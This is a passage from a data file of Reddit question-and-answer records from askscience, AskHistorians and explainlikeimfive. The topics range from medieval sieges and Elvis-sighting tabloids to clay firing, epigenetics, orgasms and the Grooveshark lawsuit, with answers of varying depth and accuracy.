otherwise people will just walk where they please, if with a distinct lack of wagons. You also need enough men to defend against possible sorties from within as well as defend against relief forces coming from outside to break the siege. \n\nUsually, besieging armies outnumber the defenders by at least double so around 400 men ignoring other factors to do everything they need. Triple or quadruple is not uncommon at all but generally only fielded in decisive maneuvers, not for the average siege. \n\nThe idea again being that the besiegers would only need enough men to hold the castle's defenders by their throats and let starvation, disease, and despair do their job for them. The most important thing to remember is that for a besieger **a pitched battle is incredibly risky** and they would avoid having to do so if they could. The best siege was one that ended with no battle. \n\nAs for specific siege weapons, for such a small scale castle, one would most likely bring nothing. \n\nAgain, while sieges were incredibly common, actual full on siege battles were less so. If siege weapons were involved, usually for use against a much larger fortress, they would commonly be built onsite or nearby where the construction material was available. Rams, rudimentary ballistae and catapults, maybe ladders, pavise, etc. \n\nThe main way to successfully conquer a castle in lieu of actual head to head combat would be negotiation skills. If you convince the defenders that they would not be able to hold out longer than your army can and only death by starvation await them, then they would have little choice in the matter. \n\nIn fact, in Japan, most sieges ended by civil debate and discussion. Both sides would meet for parley, argue their sides for why they would win handily. If it was agreed that the besiegers would inevitably win, they would take the castle peacefully, no fuss. If the defenders would win, the besiegers would just pack up and go home. In case of disagreement, the siege goes on. \n\nEven in the case of no surrender, sieges were incredibly effective at defeating defenders because of the limited amount of food and supplies a castle could hold, especially if it was providing shelter to a large civilian population. The word siege often evokes this image of years and years of mind numbing waiting and tension, punctuated by minor skirmishes but mostly just *waiting*. \n\nThe reality of warfare was that **the length of sieges were often counted in weeks**, and *occasionally* months. Sieges that dragged on for years, a la the siege of Troy, were a rarity anywhere in the world, which is why they are so well remembered and so stark in many people's minds. \n\nSo the main thing to take away is, if you were a siege master laying siege to a castle, you would likely not expect very much fighting, if any at all. You would have plenty of experience cordoning off the surrounding lands and roads, know how many patrols you need to keep men from sneaking in through the forests and rivers. You would have been able to bring just enough food to feed all your men if you really stretch it out near the end. And you would expect the castle to fall very routinely, the way all the other sieges ended, and hope that enemy reinforcements don't pounce on your forces that have *just* enough men to pull this off. \n\nTaking any castle is no easy job and there's tons of pressure to succeed but you'll be fine. This castle is no mighty fortress of thousands strong. And after all, this isn't your first siege. \n\nI was speaking about sieges in general so I hope I wasn't too far off! Hope this helps! Cheers! "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.maisonstclaire.org/timeline/1416.html", "http://books.google.com/books?id=3amnMPTPP5MC&amp;pg=PA182&amp;lpg=PA182&amp;dq=siege+of+caen+1417&amp;source=bl&amp;ots=b1iohwQC5c&amp;sig=oxL82QHtWS5JB3Fkdr5yxMh-saE&amp;hl=en&amp;sa=X&amp;ei=D2roUu6gHMTksATNqoKoAw&amp;ved=0CEoQ6AEwAw#v=onepage&amp;q=siege%20of%20caen%201417&amp;f=false"], []]}
{"q_id": "12ta7w", "title": "How many times could you exchange breaths with another person before reaching critical CO2 levels?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/12ta7w/how_many_times_could_you_exchange_breaths_with/", "answers": {"a_id": ["c6xx6jz"], "score": [5], "text": ["Your situation is equatable to someone breathing into a plastic bag or holding their own breath.  The question \"how many times\" is mostly irrelevant as it depends on the rate at which they are breathing which doesn't really reveal anything interesting about the underlying mechanisms.\n\nWhen unable to breath the reflex to breath is triggered by CO2 levels in the lungs.  Death however is caused by low levels of oxygen in the brain.  One would pass out and begin breathing again if they attempted to hold their breath before death occurred."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3ps25v", "title": "The American 20th century labor movement seems conspicuously absent from public school education", "selftext": "Alright, I've been thinking. I'm from the US. When I went to grade school many years ago, we never really explored World War 1 in depth. It was kind of glossed over as a preamble to World War 2. We learned that Archduke Ferdinand was assassinated, and that this was the cause, but we never really learned about the reasons for the United States involvement in the war. \n\n\nI think that is because you can't talk about the reasons that the United States was involved in the first world war without talking about the labor movement in the United States. This labor movement was brutally put down, and the normal narrative of dealing with the threat of the Soviets doesn't really justify it since there was no Soviet Union until after WW1. \n\nI know that, since Texas is the largest buyer of school textbooks in the US, the Texas board of education is infamous for controlling the content textbooks for schools, and the board members are notoriously conservative in their approach to what information is approved. For example, most recently in the news there was a controversy over textbooks that referred to the slaved brought to the US as \"workers\" and did not distinguish indentured servants from slaves. I think that something similar may be happening in this case, since there is still a lot of the attitudes that have existed since the cold war towards labor movements have been generally suspicious and negative, especially from a conservative viewpoint.\n\nWhat do you think of this idea? Is it possible that there is a concerted effort to avoid educating Americans about the labor movement in the twentieth century?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3ps25v/the_american_20th_century_labor_movement_seems/", "answers": {"a_id": ["cw8w3qm", "cw8wuax"], "score": [7, 12], "text": ["Define \"many years ago.\" I was in grade school in the 80s, and we covered the labor movement in depth. 8th grade honors American history. ", "I graduated in 2003, all my History classes followed the same narrative, you start with the American Revolution, Civil War, Reconstruction, Industrial Revolution and the Labor Movement, WWI, Great Depression and WWII, and by then the year was over. \n\nSounds like your teacher just decided to focus on different subjects. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "39j1jc", "title": "How and why did the theory of Elvis still being alive start, and why has it been so persistent?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/39j1jc/how_and_why_did_the_theory_of_elvis_still_being/", "answers": {"a_id": ["cs47akk", "cs4hzgk", "cs4nwbt"], "score": [123, 51, 2], "text": ["There has been a bonanza of sub-standard answers to this question, including baseless speculation, \"jokes,\" and the inevitable comments complaining about deleted comments. Answers in /r/AskHistorians are expected to be [comprehensive and informative](_URL_1_). As was explained in the excellent meta post on [\"What it means to post a good answer in /r/AskHistorians\"](_URL_0_):\n\nIf you're choosing to answer a question in /r/AskHistorians, there are three questions you should ask yourself first in turn:\n\n   1. Do I, personally, actually know a lot about the subject at hand?\n\n   2. Am I essentially certain that what I know about it is true?\n\n   3. Am I prepared to go into real detail about this?", "Oddly enough, I can answer this one in depth with great personal knowledge... but finding decent academic sources will be a real chore for *some* of it. \n\nI'll take a stab at it to start with: you'll find some reference to this in Jim Hogshire's not-that-rigorous *Grossed-Out Surgeon Vomits Inside Patient!: An Insider's Look at the Supermarket Tabloids*, and the subject ~~might have~~ **did** come up in Jack Vitek's *The Godfather of Tabloid: Generoso Pope Jr. and the National Enquirer*, one of the better historical treatments of the field. Props are also due to Paula Morton's *Tabloid Valley: Supermarket News and American Culture*, which is pretty darn thorough.\n\nI am not, properly speaking, a historian, though my degrees overlap with history a little (undergrad: hermeneutics, grad: English specializing in film theory). I'm an editor, and I spent 15 years working in the tabloids. \n\nWhen I was first hired as a junior writer back in the 1990s, my immediate supervisor was Joseph West. He invented the Elvis sighting in the pages of the *Weekly World News* during the era when its circulation reached 1,000,000. (That figure Vitek backs up, if memory serves - it's also in Morton. The importance of Joe West, though... might surface in Hogshire, and might not. Morton mentions Elvis, but I don't recall her going into any real depth.)\n\n\nOh, wait - West is sourced [in Vitek](_URL_0_)! Victory is mine! (*WWN* fans note, the fellow being quoted there, Rafe Klinger, is the guy who invented Ed Anger.)\n\nAnyway: a million was a respectable number for any newsweekly, and came about in part because the paper's owner and publisher, Generoso Pope, found himself in a weird situation wherein it made financial sense to print a lot of extra papers. See, he also owned the *National Enquirer*, and started the *WWN* because he had a contract with a black-and-white press, but wanted to (had to, business-wise?) put the *NE* out in color. \n\nSo he decided to use up his remaining black-and-white resources printing *NE* leftovers... stories that either weren't sensational enough for the big paper or (and this is the key part) were too hard or too expensive to fact-check properly. \n\nNote (and Morton goes a lot into this): from [this 1976 libel suit onwards](_URL_1_.), Pope made a point of hiring the best fact-checkers in the business as a form of legal insurance. He poached a few of them from *Time*, in the beginning.\n\nThe *WWN*, being a kind of experimental \"why not?\" project, wasn't quite as beholden to the fact-checking system, but instead stuck to lower-profile stories that were risk free (when about celebs... which became fewer and fewer as time went on) or else based on leads submitted by... the general public. And, from a libel-protection standpoint, didn't require the research the big paper did. \n\nIt started to sell better than anyone expected. \n\n\"Don't let the facts get in the way of a good story,\" became a motto. \n\nNow, I'm not sure if a reader genuinely called in and said, \"You know, I saw Elvis,\" or if the editor, Eddie Clontz, had reached the point in the evolution of the tabs when those submissions (normally dismissed by any sane newspaper) had become beside the point, and he and the reporters were free to dream up vaguely plausible submissions on their own.... As Vitek points out, there were a couple of \"I saw Elvis\" books out at the time that inspired the first couple of stories. \n\nNote also: in these days, by which I mean ~~1977~~ 1979 to, let's say, 1993, nearly all the writers for *WWN* were really reporters; they were all experienced in \"real\" newsgathering - West, a Scotsman, had once nearly gotten blown up while investigating a story on the IRA for one of the London papers. \n\nSo to a certain degree, the *WWN* culture was a kind of expression of or warped reflection of mainstream journalism just as much as, say, Hunter S. Thompson was... only in a slightly different direction.  World-weary reporters given a chance to \"what if\" a little bit - people who knew the shape and feel of a dry investigative piece inside and out. \n\nSo. Without getting TOO anecdotal, that might start to get into some of the how and why of the *persistence* of the story, at least. \n\n---\n\n*Edited because I'm an editor. And have a real parentheses problem, among other things.*\n", "This might be a dumb question, but is that something people actually believe? I thought it was just a kind of joke, or statement about how his influence will never die? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/1jsabs/what_it_means_to_post_a_good_answer_in/", "http://www.reddit.com/r/AskHistorians/wiki/rules"], ["https://books.google.com/books?id=Qiv5eYGDxa8C&amp;lpg=PT241&amp;ots=9EuTDgPTK1&amp;dq=joe%20west%20elvis%20sighting%20klinger&amp;pg=PT241#v=onepage&amp;q=joe%20west%20elvis%20sighting%20klinger&amp;f=false", "https://en.wikipedia.org/wiki/Burnett_v._National_Enquirer,_Inc"], []]}
{"q_id": "7lpbhj", "title": "Why does firing clay prevent water from making it malleable again?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7lpbhj/why_does_firing_clay_prevent_water_from_making_it/", "answers": {"a_id": ["drofpg9", "droqgvy"], "score": [34, 11], "text": ["Clay is a mixture of powder and water, when you fire it you first remove the water (drying) and then by heating high enough you initiate a process called sintering. The grains of the powder start to move and weld together forming necks between them. As the the process goes on, you eventually end up with a dense monolith of the material. There might also be some chemical reactions depending on the type of clay, but even so it will only help the sintering process.", "When you heat clay to a certain temperature it vitrifies which melts the sand particles in the clay body, effectively turning the object into glass, which is water resistant. If you keep heating past vitrification it will all melt into a blob.\n\nEdit: the water gets cooked out and if you want it to be malleable again you grind it into a powder (grog) and add water and clay powder. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "ctw3up", "title": "why people feel the slightest splinters in the skin, but no centimeter-sized tumors in the body?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ctw3up/eli5_why_people_feel_the_slightest_splinters_in/", "answers": {"a_id": ["exodc26", "exodqo0", "exovtlb", "expafv0", "exq1j70"], "score": [13, 314, 57, 5, 2], "text": ["I think it's because the nerve endings that allow us to sense pain don't exist throughout the entire body. There is a high concentration in the skin and some other areas, but entirely non-existent in others. Not the most knowledgeable on this, so double check.", "Because our skin has many more sensory nerve endings than our insides. If you think about it, it makes sense. From an evolutionary standpoint, there's no benefit to having highly innervated internal organs, since there was nothing we could do about internal injuries until very recent human history. Your skin is where you want the most sensory nerve endings, because your skin is your first line of defense against external injures which are things you can actually avoid and maybe try to fix.", "Imagine nerves/pain sensors as security cameras. They all point to the outside of the building. You are sitting in your bedroom. Watching this footage.\n\nOne day, you see some small rat chew your newspapers on your doorstep to shred, you call the exterminators. They get rid of that rat.\n\nA centimeter sized tumor is someone or something already inside your house. You might think there is something wrong with the house. You haven't seen anyone come in. But, your food is getting stolen, the toilet seat is up, and you think this is wierd. You might not think there is any damage since you have no proof of anything to call someone over just yet. You check for the cameras. There is nothing there that is entering your house. No property damage at all.\n\nOne day. The tumor having grown enough from eating all your food, that you can see them from the cameras that are pointing outside of your house that someone is moving in your very own house. So, you call the police. A now gigantic invader needs to be pulled out of your house, and you need to renovate to get it out of there. Thank goodness you detected this home invader early. If it ever found your bedroom, it might have killed you in your sleep.", "While a woman is ovulating, the follicle grows to about 22mm, which is .86 inches.  Most of the time this isn't felt at all.  After having my c-section, I think I got some sensitive tissue in that area on one side, and ovulating hurts.  It hurts like someone is taking a knife and twisting it in me for hours.  So yeah, sometimes it does hurt, it just depends what's around there to feel it.\n\nOne interesting thing I heard, but I cannot find examples of online, is that our intestines wouldn't feel significant pain from being 'cut', but they do feel pain from being 'stretched'.  And that makes sense since one's body would be cut on the outside, not the inside.  And if one's intestines is stretching, then one should definitely be motivated to do something about that, like figure out how to take a good poop asap and avoid whatever got you in this situation.", "Certainly no expert - but in addition to what's already been said about nerve endings, let's also remember that the human body re-arranges organs to house the creation of another human being. Many times with tumors or things of the like, the body just shifts to accommodate the new mass."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "5gr6w1", "title": "will there ever be a way to solve the sunni and shiite dispute?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5gr6w1/eli5_will_there_ever_be_a_way_to_solve_the_sunni/", "answers": {"a_id": ["dauh2xf"], "score": [2], "text": ["No.  At least it's no more likely than the Baptists and the Catholics reuniting.  Since Martin Luther has been dead for almost 500 years, he's not going to be calling the whole \"Reformation Thing\" off as a mistake."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8j8epj", "title": "will my diet affect my current genes for reproduction?", "selftext": "So if I eat healthy, will my future kid receive better genes? If I exercise and become more fit, will my future kid be naturally more fit?\n\nI am asking because a previous ELI5 said that people become taller with generations because of more food availability and better diets. I want to know how that works.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8j8epj/eli5_will_my_diet_affect_my_current_genes_for/", "answers": {"a_id": ["dyxr62k"], "score": [8], "text": ["The phenomenon you are referring to is called **\u201cepigenetics.\u201d** This is the regulation of your DNA and histones by methylation and acetylation, respectively to turn on or turn off the process of making certain proteins from your DNA. \n\nThe scientific literature has not yet developed as to how this epigenetic regulation develops across your life or to what extent your epigenetics will affect your offspring. We are still learning to connect phenotype (explicitly shown traits) with epigenetics but lack a lot of knowledge \u2013 even more so as to how *males* passdown epigenetics to offspring. \n\n**The Short Answer** - No one knows for sure how healthy living will affect your offspring epigenetically but **your** increased health may not only affect the epigenetics of your children at birth. Instead, the added health benefits of being more fit and healthy may simply translate to better and longer ability to raise your children, which may provide better development (which can also be a factor in regulating epigenetics.)\n\n**The Long Example Answer** - Right now, there are people studying metabolism who are looking at how maternal fasting during pregnancy can lower the incidence risk of diabetes. If we put a pregnant mouse on caloric restriction, it seems that the off spring of the mice have a lowered production of a protein that is associated with the development diabetes (*Notice this does not mean \u201cMaternal Fasting = Decreased Diabetes\u201d but rather, a less tenuous relationship with \u201cMaternal Fasting = Decreased Expression of a Protein that is seen in Diabetes.\u201d*)\n\n This is a key difference and exemplifies how epigenetics is in its early stages of research. It is exciting stuff but take the pop articles that state *\u201cFASTING MEANS EPIGENETIC REGULATION OF CANCER, DIABETES, HEART DISEASE, OBESITY\u201d* with a grain of salt. Researchers are still trying to get a full picture of how epigenetics affects our phenotype and are *just barely* beginning to understand how we might be able to visualize these markers and treat for disease in the future. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2rlzd6", "title": "why is koko the gorilla so special?", "selftext": "^", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2rlzd6/eli5_why_is_koko_the_gorilla_so_special/", "answers": {"a_id": ["cnh3iul", "cnh3kvn"], "score": [3, 2], "text": ["[Wikipedia is our friend.](_URL_0_)\n\nKoko is a signing gorilla. There's some debate about if she's generating language or whether the researchers have a confirmation bias, but given other experiments, it doesn't seem so unreasonable.", "If Koko is genuinely using sign language, then that would make her the first confirmed animal to understand use language, which would be pretty amazing, no? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Koko_%28gorilla%29"], []]}
{"q_id": "bo7jgb", "title": "how do orgasms work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bo7jgb/eli5_how_do_orgasms_work/", "answers": {"a_id": ["end3htu", "end61m3", "end94s0", "endplxv", "endruqc", "endwkjc", "ene0p9b", "ene2zid", "ene3rhy", "ene7njh", "ene7xcg", "enec7en", "enecu7u"], "score": [5225, 196, 889, 16, 265, 9, 44, 3, 6, 2, 4, 5, 2], "text": ["Your genitals have a set of special nerves. When these nerves are stimulated enough. The brain releases chemicals and orders the muscles to spasm. The whole ordeal is generally pleasant.\n\nI think thats how it is\n\nEdit. Thanks for the gold \\^\\_^", "Stimulation of nerve endings cause a buildup of tension, that releases all at one time at orgasm. Think of it like a sneeze", "In addition to what has already been said, orgasm in men is usually in conjunction with ejaculation, though not always.  In women there is some evidence that the cervix \"dips\" during the contractions which may increase the likelihood of fertilization.  In both the release of various hormones but especially oxytocin facilitate emotional bonding.  There are many health benefits as well, such as lowering certain cancer risks, and heart disease.", "But the real question is, how does a state of orgasmicness work?", "One part of orgasm is the massive release of dopamine as a pleasure neurotransmitter. Imagine the act of stimulation like there a dam holding back a large reservoir of water (dopamine). Each successive stimulating action busts the dam a little bit and water starts leaking out. As the water starts leaking, the stimulation further breaks down the dam more and more until the flood of water is too great and there is literally a \"flood\" of dopamine that extremely elevates the levels of pleasure in the human body.\n\nBut imagine if the levels stayed too high for too long, like in the cases with addictive substances; bad-news-bears and similar results would occur. So after the dam breaks down, there's an emergency repair team sent to fix and restore the dam so that the flooding can stop and levels can return back to normal. IIRC Prolactin is released in a large amount following an orgasm to make the levels of dopamine in the body normalize. The time it takes to repair the dam, set the water level back to normal, and have everything ready again is the refractory period that most males experience after achieving orgasm. (Let's be honest, without it, we'd want to have sex until we die of heart attack.)\n\nSome people do take drugs that inhibit the release of prolactin or keep dopamine around longer for more pleasure and thus can achieve multiple orgasms. If the dam stays broken and no repair crew is called, nothing stops the flood. At the same time, if the flooding is too severe, it can cause damage to literally everything. A little flooding is okay and has no long-term effects, but imagine in nature if flooding happened chronically. Forests would be underwater and ecosystems would not function like they used to. ~~This is what happens with diseases like Parkinson's where there is too much dopamine~~. [Here's an article that discusses the effects of large quantities of extracellular dopamine.](_URL_0_)\n\nP.S. If I screwed anything up please correct me", "A tickle makes you laugh and move around, you cannot control; orgasm is a very strong tickle you cannot control. \n\nAlso, Some people never felt ticklish in their whole life also.", "Orgasm is just the peak of a whole sexual cycle called Arousal. There are actually 4 stages that we go through when we get down.\n\nThe first is excitement, this is the brain starts the monkey brain up. Usually triggered by something you see, hear, smell, taste, feel, or even just think about. This stage is best described as a gradual build, starting small and growing the more you feel it or think about it.\n\nSecond is called the Plateau. The plateau is a space of time where you're just enjoying yourself. Usually this is where you start physically stimulating, so masturbating or having sex, but this may also be what initially started the cycle. The plateau can vary in how long it lasts depending on the person, how excited they are, any medications they might be on, all sorts of different things can effect how long it takes to reach to reach the next stage.\n\nNext is the main event, Orgasm. As the Plateau doesn't end so much as it ramps up, building similar to the first stage. This is the beginning of an Orgasm. The build creates tension in your body, muscles tense, breathing becomes laboured, these physical responses often contribute to arousal, encouraging your partner (if you have one) to also enter the orgasm stage. At the peak of this build is the release. The body relaxes, this release is often linked with ejaculation in people with pensises, although not always. The brain releases a variety of chemicals that promote happiness, reduce pain, and feel really, really good. Orgasms have been show to provide temporary relief from chronic pain, mild insomnia, and even improves moods during depressive episodes (Note: While they may provide temporary relief, orgasms are NOT an effective treatment for any of these, thats one way porn addictions happen y'all). The triggers for an orgasm is different for everyone, there can be many for any one person and can often change for an individual from orgasm to orgasm.\n\nAnd finally there is Resolution. This is the post orgasm glow and (usually) the end of the arousal cycle. The brain continues the release chemicals with all the benefits I mentioned before. These chemicals also promote bonding, and emotional closeness. This is why we are so often want to cuddle after sex. This is also how sex draws relationships closer. It's also worth noting that orgasm doesn't always lead straight to resolution, a person may return to the plateau stage post-orgasm, leading to consecutive orgasms. This is most common in people with vaginas.\n\n & #x200B;\n\ntl;dr- Orgasm is the end of a long build, the key to good sex is anticipation.", "A related question is why do we orgasm. Seems obvious in the male case, less so in the female. I did some research in this area and interestingly, there is no consensus answer as to why females orgasm\n\nEdit: also, why do men have a g spot, in their butt!!!", "On a very basic, evolutionary level, orgasms are your species's way of telling you to make more of your species.  People aren't very smart -- well, they used to be not very smart, millions of years ago -- so they might not have known what to do to make more people, and hey, they might not even have figured out that making more people is possible!  They might not have wanted to make more people, because they didn't have that much food, or they were just happy being themselves and hunting or whatever.  So, evolution made it so that the people who couldn't figure out sex died out -- because they couldn't figure out how to reproduce -- and the ones who had a special reward for having sex went on to... have sex and make babies and carry on the population.  Of course, this happened with animals long before there were people, millions and millions of years ago, but as time went on, any animals that didn't have enough *innate* desire for sex didn't reproduce, so only animals that had developed the structure to love sex continued their line and made more babies.\n\nAs for how the actual orgasm works, basically, your genitals get stimulated, and that sends a signal to the brain to make you feel good.  You like feeling good, so you'll keep going!  One thing that happens during this process is that women's genitals become lubricated; it makes the men's genitals feel even nicer.  When the man's nervous system believes that both the man and the woman are ready -- the man's penis is erect and able to penetrate deep into the woman's vagina, which is lubricated to help the penetration -- sploosh, the man's body makes a whole bunch of things happen that involve coordinating many different muscles to shoot the sperm-filled semen into the woman's cervix, hopefully (from an evolutionary perspective) finding an egg cell to fertilize in the uterus.  Of course, it may not work, but the fact that it feels good for both man and woman means that they'll want to try again real soon.  After this process, the body releases oxytocin, which helps the man and woman have emotional feelings toward each other and therefore want to stay together to make more babies as well as take care of any babies that get made.\n\nThere are a lot more details that would be suitable for a more ELIPhysiologyStudent (which I've never been), but in broad strokes (ha), this is roughly the why and a bit of how of an orgasm.", "I really do not think this should be NSFW. Sexual processes are just a normal part of how the human body functions. I think marking this NSFW is just pushing a perfectly normal subject as more 'taboo'", "You put the penis in, you pull the penis out, you the penis in and you shake it all about. You do the hokey pokey then you turn your girl around that's what it's all about.", "Maybe explain like you're 12 or 13?", "Explain like your five? Sick"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://www.pnas.org/content/100/19/11035"], [], [], [], [], [], [], [], []]}
{"q_id": "2q58qp", "title": "why does the new sprint cut your bill in half promotion not include t-mobile?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2q58qp/eli5_why_does_the_new_sprint_cut_your_bill_in/", "answers": {"a_id": ["cn3076s", "cn31o2d"], "score": [13, 5], "text": ["Because some of us on T-Mobile pay $35 a month for 200 minutes, unlimited text, and unlimited data (full speed capped at 2.5GB/mo). Sprint would probably lose money taking customers at $17.50 a month for all that. ", "Because they'd go broke trying to beat T-Mobile's prices."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "7jh6sj", "title": "how did foods become aphrodisiacs and do they actually help anyone?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7jh6sj/eli5_how_did_foods_become_aphrodisiacs_and_do/", "answers": {"a_id": ["dr6e1ov"], "score": [2], "text": ["There are chemicals in aphrodisiacs that make physically mature humans crave sexy time, similar to when a dog might go into heat but to a lesser degree. Whilst aphrodisiacs might make the person's body crave sexy time, if in the person's head they are against sex and don't want it, it's not going to help the person. Aphrodisiacs are more for people who want to have sexy time but their bodies aren't turning on the right hormoans. That's where it helps. For the first part the foods were always aphrodisiacs, people just didn't know they were."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "o99ud", "title": "what is grooveshark and why is it being sued?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/o99ud/eli5_what_is_grooveshark_and_why_is_it_being_sued/", "answers": {"a_id": ["c3fezt8", "c3fh4y8", "c3fi5iq", "c3fk2kh"], "score": [13, 6, 3, 11], "text": ["It's similar to pandora, though I don't know what kind of arrangements they have in terms of paying licensing fees. They allow for a more specific selection of music, and allow you to create playlists as if their entire library was your own. Think of it as a cloud-based napster. They have a desktop app as well as a web app, so they're really accessible. They're being sued probably for not paying enough/any/the right kinds of licensing fees to the music industry to have the right to distribute content in the way they do.", "Grooveshark is like [Rdio](_URL_0_) - it's a service that allows you to listen to any music in their library.\n\nUnlike Rdio, though, Grooveshark decided that they would make music available *before* having a license agreement with the organizations that hold copyright to that music. They were betting that they'd be able to negotiate something.\n\nThey're being sued because the copyright holders believe that providing that material without having an agreement in place is copyright infringement.", "Just want to remind all of you guys who thinks the record industry is a bunch of meanies, that it may be true but is no reason to be biased in your ELI5-comments. Hugs and kisses!", "Actually, Grooveshark did not necessarily plan on paying licensing fees. \n\nThey expected to host music that people outside of the company uploaded. Grooveshark was able to maintain legality because they would still be following the rules of the Digital Millennium Copyright Act (DMCA) that allows users to upload music and the hosters would not be in trouble if they removed any music when notified by copyright holders.\n\nAs i'm sure you're aware of from Youtube, you'll often click a video for a song or something, and you'll get a page that says it's unavailable because the copyright owner has made a claim.\n\nMuch like Grooveshark, Youtube has a ton of copyrighted stuff they host. But they maintain legality when they take down videos that have received a copyright claim.\n\nWhere Grooveshark went wrong, however, is that an investigation into the company found out that Groovehshark **employees** had been uploading thousands of songs. That is **not protected** by the DMCA, and thus, the copyright holders have grounds to sue them."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://rdio.com"], [], []]}
{"q_id": "6ah537", "title": "Was Morgan Robertson the author of The Wreck of the Titan: Or, Futility (the book that supposedly predicted The Titanic disaster) alive when Titanic went down, did he have anything to say?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6ah537/was_morgan_robertson_the_author_of_the_wreck_of/", "answers": {"a_id": ["dheyhb8"], "score": [3], "text": ["Robertson was still alive in 1912, and he was asked to comment on the similarities between his story and the *Titanic*'s sinking. He denied having any prophetic or clairvoyant abilities and said many of the most striking details were the product of his own detailed understanding of the shipping industry - his father was a captain on the Great Lakes, and he himself had been a mariner for 11 years (1877-86) before swallowing the anchor and turning to a writing career. \n\nIt's also important to see the Robertson affair in its broader context. The *Titanic* went down at a time when spiritualism was highly popular and interest \u2013 and active research \u2013 in psychical research was also at a height. There was actually a significant spate of accounts of supposed \"psychic forewarnings\" of the tragedy, of which Robertson's happens to be the only one remembered today, as Behe's solo book on the subject makes quite clear. People were on the lookout for such accounts and believers in psychical phenomena actively expected them to occur.\n\nThree other points are worth noting. \n\nFirst, Robertson's story was originally titled, simply, \"Futility\". It was reissued under its more familiar title after the *Titanic* disaster by a publisher hoping to capitalise on the similarities between the two tales. \n\nSecond, the list of \"coincidences\", or \"prophecies\" that appear in Robertson's work is cherry-picked. The original story contains plenty of things that never featured in the *Titanic*'s history, such as fights with polar bears.\n\nThird, there is a second example of Robertson's foresight that gets a lot less attention for some reason. In 1914 he published another story, \"The Spectrum,\" which is an account of a surprise Japanese naval attack on an American fleet at anchor in Hawaii, and how that attack leads to a Pacific war between the US and Japan.\n\n**Sources**\n\nDebra Groom, \"The strange tale of an Oswego man who wrote a book predicting a Titanic-like disaster ... 14 years before it happened,\" Syracuse *Post-Standard*, 11 December 2011\n\nMichael Goss and George Behe, \"RMS *Titanic*: the unsinkable,\" in *Lost at Sea: Ghost Ships and Other Mysteries,* Prometheus 1994.\n\nGeorge Behe, *Titanic: Psychic Forewarnings of a Tragedy*, Patrick Stephens, 1987"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6daxav", "title": "I'm an American college student in the 1800's, where could I study abroad?", "selftext": "I'm specifically interested in France and medicine, but really curious in general if the concept of \"studying abroad\" was taken the same way that it is today.  \n  \nWas it common or expected for certain fields? How did universities and education at that level compare to that of America? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6daxav/im_an_american_college_student_in_the_1800s_where/", "answers": {"a_id": ["di1do5f"], "score": [16], "text": ["The first study abroad program in the United States was created in 1923 by the University of Delaware and sent students to France. Before that Americans did not typically receive academic credit for being abroad while they were enrolled at a university in the United States. Nevertheless, many college age Americans attended European universities or simply traveled in Europe prior to the creation of study abroad programs.\n\nAttending a German university was seen as particularly prestigious in nineteenth century America. English universities were seen as producing aristocrats rather than scholars, and Oxford and Cambridge required students to be associated with the Anglican church. France and the Sorbonne were suspect because of their Catholicism. German education was considerably better than that of the United States, and universities like Harvard sometimes created scholarships to send their distinguished graduates to study in Germany.  \n\nThe German manner of higher education- particularly in graduate education- would later become the model for the American university system. The PhD as a degree first appeared in Germany and only started to be offered by some American universities in the latter half of the nineteenth century. Any American hoping to reach the top levels of academia would probably be expected to hold a German PhD.\n\nGerman scholarship utterly shaped certain fields. The modern academic study of history, for example, often is associated with Leopold Von Ranke, a professor at the University of Berlin. The two Americans who founded history departments at Harvard and Columbia had been students of professor Hermann Eduard Holst at the University of Freibourg. German was a required language for most serious American scholars.\n\nAlternatively, if an American wanted to study in Europe they might not attend a university at all. Wealthy Americans often saw going on a \u201cgrand tour\u201d of Europe as a part of young adulthood. The work of Hudson River School artist Thomas Cole, for instance, was heavily inspired by the landscapes he saw when visiting Italy. \n\nReference:\n\nPeter Novick. That Noble Dream: The \u2018Objectivity Question\u2019 and the American Historical Profession ( New York: Cambridge University Press, 1988).\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
